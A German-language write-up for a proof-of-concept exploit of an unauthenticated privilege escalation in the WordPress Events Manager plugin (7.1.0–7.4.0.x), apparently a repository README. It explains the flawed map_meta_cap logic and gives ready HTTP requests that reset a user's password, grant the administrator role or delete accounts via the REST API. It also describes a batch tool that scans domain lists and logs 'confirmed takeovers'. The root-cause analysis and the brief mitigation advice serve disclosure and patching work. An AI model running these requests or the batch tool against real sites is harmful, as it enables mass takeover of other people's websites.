
PoC zur Rechteausweitung ohne Authentifizierung für WordPress Events Manager < 7.4.1; ermittelt kollidierende Post-/Benutzer-IDs und stuft Zielkonten über REST oder wp-admin zu Administratoren hoch.
| Produkt | Events Manager (WordPress-Plugin) |
| Betroffene Versionen | 7.1.0 – 7.4.0.x |
| Behobene Version | 7.4.1 |
| Schwachstelle | CWE-269: Unsachgemäße Rechteverwaltung |
| Schweregrad | CVSS 3.1: 9.8 (Kritisch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| WPVDB ID | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| Ursprünglicher Forscher | Jakub Herman |
| Write-up & PoC | ghostpel |
poc.py).Events Manager in den Versionen 7.1.0 bis 7.4.0.x enthält eine Schwachstelle zur Rechteausweitung, die es einem vollständig nicht authentifizierten Angreifer ermöglicht, jedes Benutzerkonto zu übernehmen, dessen ID mit der ID eines eigenen Beitrags des Plugins kollidiert (event / location / event-recurring / location-recurring). Auf Websites mit aktivierten Gastbuchungen (Standard) kann die Kollision erzwungen werden: Jede Gastbuchung erzeugt ein echtes Benutzerkonto und erhöht den Auto-Increment-Zähler von wp_users um eins, sodass ein Angreifer den Benutzer-ID-Raum gezielt bis zu einer Event-/Location-Beitrags-ID „durchwandern“ kann.
Die Ursache: Der map_meta_cap-Filter des Plugins verwirft die von WordPress bereits berechnete Capability-Liste ($caps = []) für jede Meta-Capability, sobald die Objekt-ID der Capability zufällig zu einem Event-/Location-Beitrag aufgelöst wird — einschließlich WordPress-Core-Capabilities wie edit_user, delete_user, promote_user und remove_user. Eine leere Capability-Liste bedeutet „keine Capability erforderlich“ — also Erlaubnis für alle, auch für abgemeldete Benutzer.
Folgen (alle ohne Authentifizierung, über die WP-REST-API): Das Passwort eines beliebigen kollidierenden Kontos ändern, es zu administrator hochstufen oder es löschen.
Analysierte Version: 7.4.0.1 (anfällig) — per Diff gegen 7.4.1 (behoben) verglichen.
| Version | Status |
|---|---|
| ≤ 7.0.5 | Nicht betroffen (das alte em_map_meta_cap verarbeitet nur EMs eigene Capabilities) |
| 7.1.0 – 7.4.0.x | Anfällig (das Archetypen-System mit dem fehlerhaften wurde in 7.1.0 eingeführt) |
map_meta_cap leert $capsclasses/em-archetypes.php (Version 7.4.0.1):
Konsequenz: Jede Prüfung von current_user_can('edit_user', X) / delete_user / promote_user / remove_user liefert TRUE, sobald X der ID eines Event-/Location-Beitrags entspricht. Das Plugin „verwirft die Zugriffskontrollentscheidungen, die WordPress bereits getroffen hatte“ — genau wie von WPScan beschrieben.
Per Diff von 7.4.0.1 gegen 7.4.1 verifiziert: Der Reset ist jetzt pro Zweig durch einen exakten Capability-Abgleich abgesichert (z. B. && $c['read'][$post->post_type] == $cap), sodass $caps nur noch geleert wird, wenn die angeforderte Capability tatsächlich eine Archetypen-Meta-Cap ist. Patch-Kommentar: „Das Zurücksetzen bei jeder Cap mit Objekt leerte die Anforderungsliste für unabhängige Caps (z. B. edit_user, promote_user), was sich als Erlaubnis liest.“
Die REST-Users-Endpunkte (/wp-json/wp/v2/users/{id}) haben kein globales Login-Gate — die Zugriffskontrolle erfolgt ausschließlich über Permission-Callbacks, die alle durch denselben map_meta_cap-Filter laufen:
Nebeneffekt: edit_comment ist ebenfalls betroffen, wenn eine Kommentar-ID zufällig einer Event-/Location-Beitrags-ID entspricht (die wp_comments-Tabelle teilt sich den Zahlenraum).
Die Kollision existiert, weil wp_users.ID und wp_posts.ID unabhängige Auto-Increment-Sequenzen sind, die zwangsläufig überlappen. Gastbuchungen erzwingen sie:
em-install.php:896 — dbem_bookings_anonymous = 1: Gastbuchungen standardmäßig aktiviert; :871 dbem_bookings_registration_disable = 0 (Registrierung aktiviert).em-actions.php:340-344 — booking_add steht in $booking_nopriv_actions → ohne Login aufrufbar (über wp_ajax_nopriv_booking_add, Priorität 999999, Zeilen :817-830, oder wp_loaded :11).em-actions.php:360-375 — Ablauf von booking_add: → → → → . (Das Nonce dient nur dem CSRF-Schutz — das -Nonce wird im öffentlichen Buchungsformular ausgegeben, sodass es jeder erhalten kann.)Sekundäre Kette, die während des Audits beobachtet wurde (Buchungszuordnung über person_id) — events-manager.php:430-437 (em_load_event, $EM_Person aus $_REQUEST['person_id'] ohne Login), em-booking.php:1060-1072 (get_person() überschreibt die person_id einer neuen Buchung), em-booking.php:2004-2006 (can_manage() = TRUE für eine Buchung ohne ID), em-functions.php:448-449 — in 7.4.1 unverändert; es handelt sich um einen separaten Vektor (falsche Buchungszuordnung), nicht um den Kern dieser CVE.
/wp-json/wp/v2/event oder Brute-Force über sequenzielle IDs). Angenommen, das Ziel ist N.N erhält:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
N gehört dem Angreifer (das Passwort wird an die Adresse des Angreifers gesendet).PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
edit_user + promote_user werden bestanden, weil get_post(N) zu einem Event-/Location-Beitrag auflöst → $caps = [].
(Falls ein — z. B. ein alter Admin — bereits die ID besitzt, die mit einer Event-Beitrags-ID kollidiert, ist Schritt 2 unnötig; der Angreifer übernimmt dieses Konto direkt.)event/location-CPTs registriert).poc.pypoc.py ist ein asynchrones (asyncio + aiohttp) Batch-PoC, das pro Ziel: die EM-Version per Fingerprint ermittelt (auf den anfälligen Bereich [7.1, 7.4.1) begrenzt), von außen erreichbare EM-Beitrags-IDs entdeckt (WP-Sitemap → /locations/, optional ein Crawl des Buchungsformulars), die entdeckten IDs auf ein bestehendes Benutzerkonto prüft (die Kollisionsbedingung) und die kollidierenden hochstuft — über den REST-Kanal oder den wp-admin-Kanal, wenn eine Session übergeben wird und REST blockiert ist. Kein blinder Durchlauf des Benutzerbereichs, keine Gastbuchungen, keine Kontenerstellung.
Der Runner bündelt die gesamte I/O auf einer einzigen Event-Loop (bei I/O-Last nahe 0 % CPU; -t begrenzt die Parallelität statt der Kerne), scannt auf der Loop nur begrenzte 64-KiB-Kopf-Chunks, lagert schwere Parses (Sitemap-XML, Crawl-Seiten-Bundle, Profilformular) über asyncio.to_thread auf Worker-Threads aus und erzwingt bei jedem Seitenversuch die Höflichkeitsverzögerung. Die Erzwingungslogik selbst ist unverändert (gleiche Gates, gleiche Orakel, gleiche Verifikation).
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
Voraussetzungen: Python 3.9+, pip install aiohttp.
Ergebnisse werden nach hasil.txt (bestätigte Übernahmen) und id-post.txt (jede anfällige Domain, in der EM-Beitrags-IDs entdeckt wurden, mit collision=yes/no/unknown) gestreamt.
Hinweis: Dieses PoC wurde unabhängig aus der statischen Analyse des 7.4.0.1-Quellcodes und des 7.4.1-Patch-Diffs rekonstruiert — es ist nicht das WPScan-PoC.
NUR FÜR AUTORISIERTE SICHERHEITSTESTS. Ausschließlich gegen Systeme ausführen, die dir gehören oder für die du eine ausdrückliche schriftliche Testgenehmigung besitzt. Das PoC führt einfache HTTP-Anfragen aus — keine Verschleierung; es kann in Logs/IDS sichtbar sein.
dbem_bookings_anonymous), die Users-REST-Endpunkte auf WAF-Ebene einschränken und auf Passwortänderungen, Rollen-Hochstufungen und Kontolöschungen überwachen.map_meta_cap| 7.4.1 | Behoben |
| Zeile | Code | Rolle |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | Globaler, bedingungsloser Filter — läuft bei jeder WordPress-Meta-Capability-Prüfung, einschließlich der Core-Prüfungen und derer für abgemeldete Benutzer |
:547 | if ( !empty( $args[0] ) ) { | Das Objekt der Capability wird als Beitrags-ID behandelt |
:548 | $post = get_post($args[0]); | ID-Kollision: Die Ziel-Benutzer-ID (für Caps wie edit_user) wird als Beitrags-ID behandelt |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | Die Capability-Liste wird bedingungslos verworfen — obwohl es sich bei der angeforderten Cap nicht um eine Archetypen-Cap read/edit/delete_event handelt |
:568/577/584 | if/elseif-Zweige | $caps wird nur neu befüllt, wenn $cap exakt einer Archetypen-Meta-Cap entspricht; für edit_user, delete_user, promote_user, remove_user greift kein Zweig → $caps bleibt leer |
:597 | return $caps; | Leeres Array = „keine Capability erforderlich“ = ERLAUBT für jeden, einschließlich Benutzer-ID 0 |
| Aktion | Endpoint / Core-Funktion | Umgangene Capability |
|---|
| Passwort des Zielkontos ändern | PUT /wp-json/wp/v2/users/{id} mit {"password":"..."} → wp_update_user() (interne edit_user-Prüfung) | edit_user |
| Konto zum Administrator hochstufen | PUT /wp-json/wp/v2/users/{id} mit {"roles":["administrator"]} | promote_user |
| Ein Konto löschen | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (interne delete_user-Prüfung) | delete_user |
| (Multisite) Benutzer vom Blog entfernen | remove_user | remove_user |
em_verify_nonce('booking_add')get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — Gast-Zweig: em_register_new_user($user_data) mit der E-Mail-Adresse des Angreifers.em-functions.php:510 — wp_insert_user($user_data) → Der Auto-Increment-Zähler von wp_users erhöht sich bei jeder Gastbuchung um 1 → der Angreifer kontrolliert die Wachstumsrate des Benutzer-ID-Zählers, bis er auf der gewünschten Event-/Location-Beitrags-ID landet (WPScan: „Jede Gastbuchung erzeugt ein echtes Benutzerkonto und erhöht den Benutzer-ID-Zähler um eins“).NDELETE /wp-json/wp/v2/users/M?reassign=N